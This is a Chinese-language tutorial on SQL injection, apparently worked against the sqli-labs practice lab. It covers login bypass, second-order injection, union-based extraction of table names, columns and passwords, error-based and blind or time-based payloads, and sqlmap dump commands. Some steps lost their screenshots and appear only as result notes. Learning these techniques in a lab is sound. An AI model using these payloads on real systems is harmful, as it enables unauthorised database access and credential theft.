目录
万能密码是指输入一个特殊用户名,密码不限,来破解账号,入侵sql。比如8’ or 1=1 # ,这是一个用户名,这个输入会发生什么?
为什么可以直接登录成功呢?我们来看看这个登录网页的数据库代码实现:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
而我们的输入其实是
- $name = 8' or 3=3#
替换后
…… username='8' or 3=3 #' and password='$passwd' LIMIT 0,1";
此时,username为8 ,根据or的运算,3=3是永真式,#将后半句注释了,故这句代码执行结果永远为真,可以登录成功。
当然,现在的数据库对这样的用户名肯定做了筛选,这属于不合法的用户名。
所谓的二阶注入,利用的是,数据库系统对已有信息的“信任”,将注入的用户名输入到系统后,利用这种信任,登录到数据库其他用户,比如admin'#成功注册后,但是登录的却是admin
注册admin'#账号
如图,现在数据库里面有:
admin'# 密码是123456
admin 密码是000000
我们现在登录我们自己注册的账号:
我们登录后修改密码,修改密码为999999
此时我们来登录试试:
为什么密码错误呢?我们来观察一下数据库:
可以观察到我们修改的是admin的密码,而不是admin'#的数据。
实际上这个过程是,admin'# 作为用户名登录后,数据库对该用户名,密码信任,实际上这个用户名被代码替换后,登录的不是admin'# ,而是admin。修改的是admin的密码,这就是二阶注入的原理。
判断是不是整型:
比如 1 and 1=1
没有显示结果,说明这不是整型。
而输入1' or '1'='1
说明这是字符型注入。
猜测是3列:
猜测是两列:
3列没有结果,2列有结果,说明当前查询语句有两列。
admin' union select user() ,database()#
需要对union强调的是,union前后的结果列数必须一样,比如这里admin'结果是两列,union的语句2必须也是两列。
获取表名
admin' union select 1,table_name from information_schema.tables where table_schema = database() #
获取数段名
admin' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = database() #
获取数据
admin' union select username,password from users #
admin' union select extractvalue(1,concat(0x7e, (select database()),0x7e)) #
admin' union select updatexml(1,concat(0x7e,(select version()),0x7e),1)#
无回显
有回显
说明可能为8,进行验证:
无回显,再尝试是否大于110
有回显,再尝试是否大于115
无回显,再尝试是否大于113
有回显,再尝试是否大于114
有回显,说明可能是115
查询ascii表,说明该数据库名首字母为's'
无回显,说明个数小于4
无回显
有回显,说明值为6
?id=1' and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))) > 110 #
无回显,猜测是否大于100
有回显,猜测是否大于105
无回显,猜测是否大于103
无回显,猜测是否大于102
无回显,猜测是否等于101
查ascii表,表名第一个字母为'e'
?id=1' and (select count(column_name) from information_schema.columns where table_name='users' ) > 11 #
有31个列
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1)) > 5 #
第一列的长度为7
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))>110 #
得到ascii为117,’u'
?id=1' and if((length(database()))=8,sleep(4),null)) #
说明数据库名长度为8
?id=1' and if(substr(database(),1,1)='s',sleep(4),null) #
说明第一个字母是's'
python sqlmap.py -u 127.0.0.1/sqli-labs/Less-8/?id=1
--current-db
-D --tables
-T --columns
-C --dump